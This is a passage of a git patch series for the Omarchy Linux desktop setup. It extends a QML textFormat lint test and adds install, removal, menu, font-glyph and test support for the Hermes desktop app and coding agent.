inline_violations(lines, rel): return out +# `Text { text: someValue` with the block carrying on below is valid QML and is +# invisible to both scanners: OPEN_ELEMENT anchors its `{` at the end of the +# line so the brace tracker never opens the block, and INLINE_TEXT needs the +# closing brace on the same line. A dynamic AutoText binding written that way +# passes this file in silence, which is the one failure a test like this must +# not have. +# +# Rather than teach a line scanner to parse QML, require the two forms it can +# read: the whole block on one line, or nothing after the opening brace. Every +# Text in this tree is already written that way, so keeping to it costs nothing. +UNSCANNABLE_TEXT = re.compile(r'(?:^|[:\s])Text\s*\{\s*\S') +BARE_TEXT_OPENER = re.compile(r'(?:^|[:\s])Text\s*$') + +UNSCANNABLE = ('Text block written in a form this scanner cannot read; put the ' + 'opening brace last on the line, or write the whole block on ' + 'one line with no nested braces') + + +def unscannable_violations(lines, rel): + out = [] + for idx, raw in enumerate(lines): + code = strip_noise(raw) + + # `Text` with its brace on the next line. OPEN_ELEMENT needs both on + # one line, so the block is never opened and everything in it is + # attributed to the enclosing element instead. + if BARE_TEXT_OPENER.search(code): + following = '' + for ahead in range(idx + 1, len(lines)): + candidate = strip_noise(lines[ahead]).strip() + if candidate: + following = candidate + break + if following.startswith('{'): + out.append(f'{rel}:{idx + 1}: {UNSCANNABLE}') + continue + + for match in UNSCANNABLE_TEXT.finditer(code): + # A complete one-line block with no nested braces is fine — + # inline_violations reads those. Count rather than looking for a + # `}`, because `Text { text: ({ a: external }).a }` closes on this + # line yet INLINE_TEXT's brace-free body pattern cannot match it, + # so treating any `}` as "handled elsewhere" would drop it. + rest = code[match.end() - 1:] + depth = 1 + closed = False + for char in rest: + if char == '{': + depth += 1 + elif char == '}': + depth -= 1 + if depth == 0: + closed = True + break + if closed and '{' not in rest: + continue + out.append(f'{rel}:{idx + 1}: {UNSCANNABLE}') + return out + + root = Path(os.environ['ROOT']) found = [] +scanned = 0 for path in sorted((root / 'shell').rglob('*.qml')): + scanned += 1 lines = path.read_text().splitlines() rel = path.relative_to(root) found.extend(inline_violations(lines, rel)) + found.extend(unscannable_violations(lines, rel)) for b in blocks(lines): if b['name'] != 'Text' or 'textFormat' in b['props']: @@ -182,10 +263,24 @@ for path in sorted((root / 'shell').rglob('*.qml')): # depth 1 and column 0: the scanner attributes one element per line, so # a `Row { Text {` line would report depth 1 for a nested block, and # falling through to the binding check below is the safe reading. - if b['depth'] == 1 and lines[b['start']].startswith('Text'): + # Indentation is not what makes it a root; depth 1 is. A `Row { Text {` + # line still reads as `Row` here, so leading whitespace can be ignored + # without letting a nested block be mistaken for the file's root. + if b['depth'] == 1 and lines[b['start']].lstrip().startswith('Text'): found.append(f'{rel}:{b["start"] + 1}: root Text element declares no textFormat') continue + # A QML inline component is a root for the same reason, and the rule + # above cannot see one: `component InfoValue: Text {` sits inside + # another element, so its depth is not 1 and its line does not start + # with `Text`. Its `text` comes from every caller, so the file it lives + # in never binds it and the binding check below lets it through in + # silence. Only one file-level root Text exists in this tree, so + # without this the root rule is very nearly dead code. + if INLINE_COMPONENT.match(lines[b['start']]): + found.append(f'{rel}:{b["start"] + 1}: inline component root Text declares no textFormat') + continue + if 'text' not in b['props']: continue tline = b['props']['text'] @@ -193,6 +288,12 @@ for path in sorted((root / 'shell').rglob('*.qml')): continue found.append(f'{rel}:{tline + 1}: text binding without textFormat') +# A scan that read nothing reports nothing, and an all-clear from a run that +# never opened a file is the one result this test must never give. Only a +# checkout with no shell/ QML at all reaches this. +if scanned == 0: + raise SystemExit('no .qml files found under shell/; the scan read nothing') + for line in found: print(line) PY From a12a21c02fbc945ac1de73633494df67908ae28a Mon Sep 17 00:00:00 2001 From: Omabot Date: Wed, 26 Aug 2026 18:04:41 +0200 Subject: [PATCH 073/336] Add Hermes as a desktop app and a coding agent Hermes joins Install > AI as a desktop app, sits beside it under Remove > AI, and becomes a choice in the default-agent list. The CLI installs through omarchy-install-hermes-cli rather than a bare `mise use`, so its interpreter is pinned before mise builds it. Rebased onto quattro. Ori claimed U+E909 in #7709 while this branch was open, so the Hermes mark moves to U+E90A in the icon font, the menu entries, the font README, and the charset the menu test pins. The glyph outline itself is unchanged; it is spliced in beside Ori rather than over it. Co-Authored-By: witcheer Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01SySdB3RtCA8BNv6Am246BP --- bin/omarchy-agent | 9 ++ bin/omarchy-default-agent | 24 ++++- bin/omarchy-install-ai-hermes | 26 ++++++ bin/omarchy-install-hermes-cli | 136 +++++++++++++++++++++++++++++ bin/omarchy-remove-ai-hermes | 49 +++++++++++ bin/omarchy-remove-preinstalls | 4 + default/fonts/omarchy/README.md | 1 + default/fonts/omarchy/omarchy.ttf | Bin 4668 -> 9008 bytes default/omarchy/omarchy-menu.jsonc | 3 + install/user/mise.sh | 1 + test/shell.d/hermes-cli-test.sh | 105 ++++++++++++++++++++++ test/shell.d/hermes-remove-test.sh | 77 ++++++++++++++++ test/shell.d/menu-test.sh | 5 +- 13 files changed, 434 insertions(+), 6 deletions(-) create mode 100755 bin/omarchy-install-ai-hermes create mode 100755 bin/omarchy-install-hermes-cli create mode 100755 bin/omarchy-remove-ai-hermes create mode 100755 test/shell.d/hermes-cli-test.sh create mode 100755 test/shell.d/hermes-remove-test.sh diff --git a/bin/omarchy-agent b/bin/omarchy-agent index 3c009460..426ea85a 100755 --- a/bin/omarchy-agent +++ b/bin/omarchy-agent @@ -86,6 +86,15 @@ codex) command=(codex --approve-for-me) [[ -n ${prompt:-} ]] && command+=(-- "$prompt") ;; +hermes) + # Hermes has no "start interactive, seeded with this prompt" mode. --oneshot + # answers the prompt and exits, which is the closest it offers. + if [[ -n ${prompt:-} ]]; then + command=(hermes --yolo --oneshot "$prompt") + else + command=(hermes --yolo) + fi + ;; omp) command=(omp --auto-approve) [[ -n ${prompt:-} ]] && command+=(-- "$prompt") diff --git a/bin/omarchy-default-agent b/bin/omarchy-default-agent index 1f89b765..9d575514 100755 --- a/bin/omarchy-default-agent +++ b/bin/omarchy-default-agent @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Set and launch the default coding agent -# omarchy:args=[pi|omp|opencode|ori|claude|codex|grok|agy|copilot|crush] +# omarchy:args=[pi|omp|opencode|ori|claude|codex|grok|agy|hermes|copilot|crush] # omarchy:examples=omarchy default agent | omarchy default agent codex | omarchy default agent claude installing=false @@ -33,20 +33,36 @@ codex) agent="codex"; name="Codex" ;; crush) agent="crush"; name="Crush" ;; grok) agent="grok"; name="Grok"; agent_package="npm:@xai-official/grok" ;; agy | antigravity | antigravity-cli | gemini | gemini-cli) agent="agy"; name="Antigravity"; agent_package="antigravity-cli" ;; +hermes) agent="hermes"; name="Hermes"; agent_installer="omarchy-install-hermes-cli" ;; copilot | github-copilot) agent="copilot"; name="GitHub Copilot" ;; *) - echo "Usage: omarchy-default-agent " + echo "Usage: omarchy-default-agent " exit 1 ;; esac agent_package=${agent_package:-$agent} -if [[ $installing == "false" ]] && ! mise where "$agent_package" &>/dev/null; then +# Hermes reaches mise through its own installer rather than straight from +# here: it needs its interpreter pinned, and a bare `mise use` has nowhere to +# say so. See omarchy-install-hermes-cli. +if [[ -n ${agent_installer:-} ]]; then + # Not omarchy-cmd-present: the stub is on PATH from first boot and says + # nothing about whether Hermes is installed behind it. Treating a cold stub + # as installed skips the floating terminal and runs the minute-long install + # inside the menu action instead. + agent_present() { "$agent_installer" --check; } + agent_install() { "$agent_installer" --now; } +else + agent_present() { mise where "$agent_package" &>/dev/null; } + agent_install() { mise use -g "$agent_package"; } +fi + +if [[ $installing == "false" ]] && ! agent_present; then exec omarchy-launch-floating-terminal-with-presentation omarchy-default-agent --install "$agent" fi -if ! mise use -g "$agent_package"; then +if ! agent_install; then if [[ $installing == "true" ]]; then echo "Could not install $name with mise" >&2 else diff --git a/bin/omarchy-install-ai-hermes b/bin/omarchy-install-ai-hermes new file mode 100755 index 00000000..3f6abafe --- /dev/null +++ b/bin/omarchy-install-ai-hermes @@ -0,0 +1,26 @@ +#!/bin/bash + +# omarchy:summary=Install the Hermes desktop app +# omarchy:requires-sudo=true + +set -e + +# No CLI is installed here on purpose. Hermes Desktop only runs against a +# runtime built from its own commit, so it provisions one itself under +# ~/.hermes on first launch, which takes a few minutes and shows its own +# progress. Handing it the mise CLI instead fails: PyPI trails the tags, and +# the version gap fails the app's readiness probe with a 401. +echo "Installing Hermes Desktop..." +omarchy-pkg-add hermes-desktop + +# If Hermes was already installed for the terminal, the app supersedes it: one +# machine, one Hermes. This drops that copy so the terminal, the default agent +# and the app all end up on the app's installation. +omarchy-install-hermes-cli || true + +echo "Opening Hermes Desktop..." +setsid uwsm-app -- /usr/bin/hermes-desktop >/dev/null 2>&1 & + +echo "" +echo "Hermes Desktop has been installed." +echo "Its first launch installs the Hermes runtime, which takes a few minutes." diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli new file mode 100755 index 00000000..c153013b --- /dev/null +++ b/bin/omarchy-install-hermes-cli @@ -0,0 +1,136 @@ +#!/bin/bash + +# omarchy:summary=Install the Hermes CLI as a mise-backed wrapper in ~/.local/bin +# omarchy:args=[--now] +# omarchy:examples=omarchy install hermes cli | omarchy install hermes cli --now + +# Hermes pins every one of its dependencies exactly and declares +# Requires-Python >=3.11,<3.14, so it can neither be built against Arch's +# Python nor share the python-* packages. mise builds it a private environment +# instead. +# +# It gets its own installer rather than a line in omarchy-mise-install because +# of the interpreter pin. Given no compatible interpreter to hand, uv builds +# the venv against the system Python in violation of Hermes' own bound, +# reports success, and leaves the breakage to surface later inside a +# dependency -- and omarchy-mise-install writes a fixed stub with nowhere to +# say otherwise. +# +# There is only ever one Hermes on a machine. hermes-desktop cannot run against +# this one -- it needs a runtime built from its own commit, and the version gap +# fails its readiness probe -- so it installs its own under ~/.hermes and puts +# that on PATH. When the package is present it therefore owns Hermes outright: +# this installer stands aside and removes its own copy, so the terminal, the +# default agent and the app are all the same installation. + +set -euo pipefail + +mode=${1:-} + +tool='pipx:hermes-agent[extras=all]' +python='3.13' + +# The package, not the runtime directory: it is installed before the app has +# ever run, and that is exactly when we must not start building a second copy. +desktop_owns_hermes() { + omarchy-pkg-present hermes-desktop +} + +# The venv appears at the python-deps stage, several stages before the one that +# installs the command, so its presence says nothing about being usable. The +# marker is written last, and the command is what the agent actually runs. +desktop_hermes_ready() { + [[ -f $HOME/.hermes/hermes-agent/.hermes-bootstrap-complete ]] || return 1 + [[ -x $HOME/.local/bin/hermes ]] || return 1 + + # An executable of that name proves nothing about whose it is; the app's own + # points into ~/.hermes, and anything else is not the install we are asking + # about. + grep -q "$HOME/.hermes" "$HOME/.local/bin/hermes" +} + +# Whether Hermes is really installed, not merely whether the stub exists. A +# stub on its own is cold: running it installs Hermes, which takes minutes. +installed() { + [[ -d "$(mise where "$tool" 2>/dev/null)/hermes-agent/lib/python$python" ]] +} + +# --check lets callers tell a cold stub from a working one before they commit +# to a path that assumes Hermes is ready. +if [[ $mode == "--check" ]]; then + if desktop_owns_hermes; then + if desktop_hermes_ready; then exit 0; else exit 1; fi + fi + if installed; then exit 0; else exit 1; fi +fi + +# Hand Hermes over to the app rather than keeping a second copy beside it. +if desktop_owns_hermes; then + # Not gated on that copy being healthy: `mise up` can rebuild it against the + # wrong interpreter and a half-finished install answers to neither test, and + # either way it is still a second Hermes. Removing nothing is harmless. + if mise where "$tool" >/dev/null 2>&1; then + echo "Hermes Desktop provides Hermes; removing the separate CLI install..." >&2 + fi + + mise rm -g "$tool" >/dev/null 2>&1 || true + mise uninstall --all "$tool" >/dev/null 2>&1 || true + + # Our own stub has to go with it. Left in place it still answers `hermes` + # until the app's bootstrap overwrites it, and answering means building the + # second Hermes this whole arrangement exists to avoid. + if [[ -f $HOME/.local/bin/hermes ]] && grep -q omarchy-install-hermes-cli "$HOME/.local/bin/hermes"; then + rm -f "$HOME/.local/bin/hermes" + fi + + if desktop_hermes_ready; then + exit 0 + fi + + echo "Hermes Desktop is installed but has not set Hermes up yet." >&2 + echo "Launch Hermes Desktop once to finish installing it." >&2 + exit 1 +fi + +mkdir -p "$HOME/.local/bin" +rm -f "$HOME/.local/bin/hermes" + +cat >"$HOME/.local/bin/hermes" </dev/null)/hermes-agent/lib/python$python" ]]; then + echo "Installing Hermes on Python $python (this takes a minute)..." >&2 + + # mise's pipx backend shells out to uv, which a stock Omarchy does not have. + # It is fetched here rather than when this stub was written, so setting up a + # machine that never runs Hermes costs nothing. + if omarchy-cmd-missing uv && ! mise where uv >/dev/null 2>&1; then + mise use -g --quiet uv@latest || exit 1 + fi + + mise use -g --quiet --force '$tool' || exit 1 +fi + +exec mise x '$tool' -- hermes "\$@" +EOF + +chmod +x "$HOME/.local/bin/hermes" + +# The desktop app resolves a hermes on PATH by running `hermes --version` with +# a 15 second budget, then falls back to cloning its own copy when that times +# out. A first-run mise install does not fit in 15 seconds, so anything that +# hands Hermes to the GUI has to install it here rather than leave it stubbed. +if [[ $mode == "--now" ]]; then + "$HOME/.local/bin/hermes" --version +fi diff --git a/bin/omarchy-remove-ai-hermes b/bin/omarchy-remove-ai-hermes new file mode 100755 index 00000000..830ca2ad --- /dev/null +++ b/bin/omarchy-remove-ai-hermes @@ -0,0 +1,49 @@ +#!/bin/bash + +# omarchy:summary=Remove the Hermes desktop app along with the Hermes runtime it installed. +# omarchy:requires-sudo=true + +set -e + +omarchy-pkg-drop hermes-desktop + +# The app installs a Hermes of its own under ~/.hermes -- the checkout and venv, +# its own uv, its own node -- and puts its commands on PATH. None of it is any +# use once the app is gone. Not ~/.config/Hermes, which holds the gateway +# connections and their encrypted tokens, the active profile and the update +# settings. Not the rest of ~/.hermes either: +# the chats, memories and the skills Hermes wrote for itself are the user's, +# they are small, and finding them still there after a reinstall is the better +# surprise. +rm -rf \ + "$HOME/.hermes/hermes-agent" \ + "$HOME/.hermes/bootstrap-cache" \ + "$HOME/.hermes/bin" \ + "$HOME/.hermes/node" + +# Only the wrappers pointing into ~/.hermes. The app writes these at its own +# path stage, so a machine where it was installed but never launched still has +# whatever was there before, and that is not ours to delete. +for command in hermes hermes-agent hermes-acp; do + wrapper="$HOME/.local/bin/$command" + + if [[ -f $wrapper ]] && grep -q "$HOME/.hermes" "$wrapper"; then + rm -f "$wrapper" + fi +done + +# When Hermes brought its own Node it symlinked these next to its own commands, +# and they point at what we just deleted. Only the links into ~/.hermes: a +# system Node, or someone else's, lives somewhere else entirely. +for command in node npm npx; do + link="$HOME/.local/bin/$command" + + if [[ -L $link && $(readlink "$link") == "$HOME/.hermes"/* ]]; then + rm -f "$link" + fi +done + +echo "" +echo "Hermes Desktop has been removed." +echo "Your chats, memories, and skills are still in ~/.hermes," +echo "and your connections and settings in ~/.config/Hermes." diff --git a/bin/omarchy-remove-preinstalls b/bin/omarchy-remove-preinstalls index c096ca2e..8f5ed5a9 100755 --- a/bin/omarchy-remove-preinstalls +++ b/bin/omarchy-remove-preinstalls @@ -17,6 +17,10 @@ if gum confirm "Are you sure you want to remove all preinstalled web apps, TUI w ~/.local/bin/gh ~/.local/bin/opencode ~/.local/bin/playwright ~/.local/bin/playwright-cli ~/.local/bin/pi \ ~/.local/bin/omp ~/.local/bin/ori ~/.local/bin/grok ~/.local/bin/crush ~/.local/bin/ghui ~/.local/bin/hunk + # Hermes Desktop owns this path once installed, and its own CLI is not a + # preinstall to sweep away. + omarchy-pkg-present hermes-desktop || rm -f ~/.local/bin/hermes + omarchy-pkg-drop \ aether \ cliamp \ diff --git a/default/fonts/omarchy/README.md b/default/fonts/omarchy/README.md index 005fc874..11558a30 100644 --- a/default/fonts/omarchy/README.md +++ b/default/fonts/omarchy/README.md @@ -12,6 +12,7 @@ The private-use glyphs in `omarchy.ttf` are: - `U+E907` — Ollama, from - `U+E908` — T3 Code, traced from the app icon in , since upstream publishes no monochrome SVG - `U+E909` — Ori, from , OpenRouter's own mark: Ori ships no separate logo and its product page uses this one +- `U+E90A` — Hermes, traced from the Hermes app icon (), the same art the `hermes-desktop` package ships as its icon The agent marks are monochrome so the menu can render them using the active theme's foreground and selection colors. diff --git a/default/fonts/omarchy/omarchy.ttf b/default/fonts/omarchy/omarchy.ttf index fc47d0131ccb06e27d4a01e0014f5a22f393aea3..29145211c45d05ef88767dc30d750fbe84d238a2 100644 GIT binary patch delta 4770 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 delta 432 zcmZ9GJxD@P6vzMPy{Attvkamw5&K#S6sp0XscdQp93-fRSq|@|pixa$Lo^mQ=mT0x zXlW4MP(w{c5PeTUQ$ZgTtwLL!D^A_Z;oRT<{tow+22Vn3O$D3)Fh@qa!|{jVA%HrV zCz6(t{Sw=A%&UM>H*GFV9h|j40O}S{GnGymlU*ydKY)*Q^rSg(k=DrE#~eyq`S}j0 zN-7P<|1>OWz1(OL?yJtcg;ay#;{U1AMYD1eDkAM*-S3qoSTaP4aa=H zEY5?b=%b`~q!_tHKsj=|Ip-p${h~N%->W$YqSjqjbzQer&#kHe_PuwPT3KS3B9T2; zK0fY?mQkZ|0KDE^&dUD2c{RHJ-0Sp9(8P<NA9$Y2GZ zbgC?AZ;q71W=B5nry^W(0Q@g_cmux@E2|zC6-&B0Cw3w5MC2EVU`Q+mqdf8l9ky9G diff --git a/default/omarchy/omarchy-menu.jsonc b/default/omarchy/omarchy-menu.jsonc index 59582db7..08f9bf4b 100644 --- a/default/omarchy/omarchy-menu.jsonc +++ b/default/omarchy/omarchy-menu.jsonc @@ -141,6 +141,7 @@ "setup.default.agent.copilot": {"icon":"","label":"Copilot","checked":"[[ \"$(omarchy-default-agent)\" == \"copilot\" ]]","action":"omarchy-default-agent copilot"}, "setup.default.agent.crush": {"icon":"󰋑","label":"Crush","checked":"[[ \"$(omarchy-default-agent)\" == \"crush\" ]]","action":"omarchy-default-agent crush"}, "setup.default.agent.grok": {"icon":"","iconFont":"omarchy","label":"Grok","checked":"[[ \"$(omarchy-default-agent)\" == \"grok\" ]]","action":"omarchy-default-agent grok"}, + "setup.default.agent.hermes": {"icon":"","iconFont":"omarchy","label":"Hermes","checked":"[[ \"$(omarchy-default-agent)\" == \"hermes\" ]]","action":"omarchy-default-agent hermes"}, "setup.default.agent.omp": {"icon":"","iconFont":"omarchy","label":"omp","checked":"[[ \"$(omarchy-default-agent)\" == \"omp\" ]]","action":"omarchy-default-agent omp"}, "setup.default.agent.opencode": {"icon":"","iconFont":"omarchy","label":"OpenCode","checked":"[[ \"$(omarchy-default-agent)\" == \"opencode\" ]]","action":"omarchy-default-agent opencode"}, "setup.default.agent.ori": {"icon":"","iconFont":"omarchy","label":"Ori","checked":"[[ \"$(omarchy-default-agent)\" == \"ori\" ]]","action":"omarchy-default-agent ori"}, @@ -239,6 +240,7 @@ "install.ai.chatgpt": {"icon":"","iconFont":"omarchy","label":"ChatGPT Desktop","disabled":"omarchy-pkg-present openai-codex-desktop","action":"omarchy-launch-floating-terminal-with-presentation omarchy-install-ai-chatgpt"}, "install.ai.dictation": {"icon":"","label":"Dictation","disabled":"omarchy-pkg-present voxtype-bin","action":"omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install"}, "install.ai.grok-bot": {"icon":"","iconFont":"omarchy","label":"Grok Bot","disabled":"omarchy-pkg-present grok-bot","action":"omarchy-install-and-launch 'Grok Bot' grok-bot grok-bot"}, + "install.ai.hermes": {"icon":"","iconFont":"omarchy","label":"Hermes Desktop","disabled":"omarchy-pkg-present hermes-desktop","action":"omarchy-launch-floating-terminal-with-presentation omarchy-install-ai-hermes"}, "install.ai.lm-studio": {"icon":"","iconFont":"omarchy","label":"LM Studio","disabled":"omarchy-pkg-present lmstudio-bin","action":"omarchy-install-app 'LM Studio' lmstudio-bin"}, "install.ai.ollama": {"icon":"","iconFont":"omarchy","label":"Ollama","disabled":"omarchy-cmd-present ollama","action":"if omarchy-cmd-present nvidia-smi; then ollama_pkg=ollama-cuda; elif omarchy-cmd-present rocminfo; then ollama_pkg=ollama-rocm; else ollama_pkg=ollama; fi; omarchy-install-app Ollama \"$ollama_pkg\""}, "install.ai.t3-code": {"icon":"","iconFont":"omarchy","label":"T3 Code","disabled":"omarchy-pkg-present t3code-bin","action":"omarchy-install-and-launch 'T3 Code' t3code-bin t3code"}, @@ -292,6 +294,7 @@ "remove.security.fido2": {"icon":"","label":"Fido2","when":"omarchy-pkg-present pam-u2f","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-fido2"}, "remove.security.sshd": {"icon":"󰣀","label":"SSHD","when":"systemctl is-enabled --quiet sshd","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-sshd"}, "remove.security.sudoless-docker": {"icon":"󰡨","label":"Sudoless Docker","when":"! omarchy-sudo-docker --configured","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-security-sudoless-docker"}, + "remove.ai.hermes": {"icon":"","iconFont":"omarchy","label":"Hermes Desktop","when":"omarchy-pkg-present hermes-desktop","action":"omarchy-launch-floating-terminal-with-presentation omarchy-remove-ai-hermes"}, "remove.browser.chrome": {"icon":"","label":"Chrome","when":"omarchy-pkg-present google-chrome","action":"omarchy-launch-floating-terminal-with-presentation 'omarchy-remove-browser chrome'"}, "remove.browser.edge": {"icon":"󰇩","label":"Edge","when":"omarchy-pkg-present microsoft-edge-stable-bin","action":"omarchy-launch-floating-terminal-with-presentation 'omarchy-remove-browser edge'"}, "remove.browser.brave": {"icon":"","label":"Brave","when":"omarchy-pkg-present brave-bin","action":"omarchy-launch-floating-terminal-with-presentation 'omarchy-remove-browser brave'"}, diff --git a/install/user/mise.sh b/install/user/mise.sh index 0c8ab99b..a944d6cb 100644 --- a/install/user/mise.sh +++ b/install/user/mise.sh @@ -13,3 +13,4 @@ omarchy-mise-install npm:@kitlangton/ghui ghui omarchy-mise-install aqua:modem-dev/hunk hunk omarchy-mise-install github:basecamp/hey-cli hey omarchy-mise-install github:OpenRouterLabs/ori-releases ori +omarchy-install-hermes-cli diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh new file mode 100755 index 00000000..881dac47 --- /dev/null +++ b/test/shell.d/hermes-cli-test.sh @@ -0,0 +1,105 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mock_bin="$test_tmp/bin" +test_home="$test_tmp/home" +mise_log="$test_tmp/mise-log" +mkdir -p "$mock_bin" "$test_home/.local/bin" + +cat >"$mock_bin/omarchy-pkg-present" <<'SH' +#!/bin/bash +[[ ${OMARCHY_TEST_DESKTOP_INSTALLED:-0} == 1 ]] +SH + +cat >"$mock_bin/omarchy-cmd-missing" <<'SH' +#!/bin/bash +! command -v "$1" >/dev/null 2>&1 +SH + +# `mise where` must fail so the installer sees no Hermes behind the stub. +cat >"$mock_bin/mise" <<'SH' +#!/bin/bash +printf '%s\0' "$@" >>"$OMARCHY_TEST_MISE_LOG" +[[ $1 == "where" && ${OMARCHY_TEST_MISE_WHERE_OK:-0} == 1 ]] && exit 0 +[[ $1 != "where" ]] +SH + +chmod +x "$mock_bin"/* + +run_installer() { + OMARCHY_TEST_DESKTOP_INSTALLED="$1" \ + OMARCHY_TEST_MISE_WHERE_OK="${OMARCHY_TEST_MISE_WHERE_OK:-0}" \ + OMARCHY_TEST_MISE_LOG="$mise_log" \ + HOME="$test_home" \ + PATH="$mock_bin:$PATH" \ + bash "$ROOT/bin/omarchy-install-hermes-cli" ${2:+"$2"} >/dev/null 2>&1 +} + +stub_marker="omarchy-install-hermes-cli" +app_stub_body='#!/bin/bash +exec /home/x/.hermes/hermes-agent/venv/bin/hermes "$@"' + +# Writing the stub must not provision anything: user setup calls this on every +# machine, including the ones that never run Hermes. +: >"$mise_log" +rm -f "$test_home/.local/bin/hermes" +run_installer 0 || fail "installer failed with no desktop installed" +[[ -x $test_home/.local/bin/hermes ]] || fail "installer writes a hermes stub when the desktop is absent" +grep -q "$stub_marker" "$test_home/.local/bin/hermes" || fail "the stub records which command wrote it" +tr '\0' ' ' <"$mise_log" | grep -q "use -g --quiet uv" && + fail "writing the stub does not install uv" +pass "writing the Hermes stub provisions nothing" + +# The desktop app owns Hermes, so our own stub must go rather than sit there +# answering `hermes` until the app's bootstrap replaces it. +printf '%s\n' "#!/bin/bash" "# $stub_marker" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +run_installer 1 || true +[[ ! -e $test_home/.local/bin/hermes ]] || + fail "the desktop taking over removes the stub this command wrote" +pass "installing the desktop app removes the CLI stub" + +# ...but the app's own hermes is not ours to delete. +printf '%s\n' "$app_stub_body" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +run_installer 1 || true +[[ -x $test_home/.local/bin/hermes ]] || + fail "the desktop app's own hermes command survives" +pass "the app's own hermes command is left alone" + +# A copy mise cannot vouch for is still a second Hermes. +printf '%s\n' "#!/bin/bash" "# $stub_marker" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +: >"$mise_log" +OMARCHY_TEST_MISE_WHERE_OK=1 run_installer 1 || true +tr '\0' '\n' <"$mise_log" | grep -q "uninstall" || + fail "takeover removes a mise copy even when it is not healthy" +pass "takeover removes an unhealthy mise copy" + +# --check answers about Hermes being usable, not about the venv appearing. The +# venv exists from the python-deps 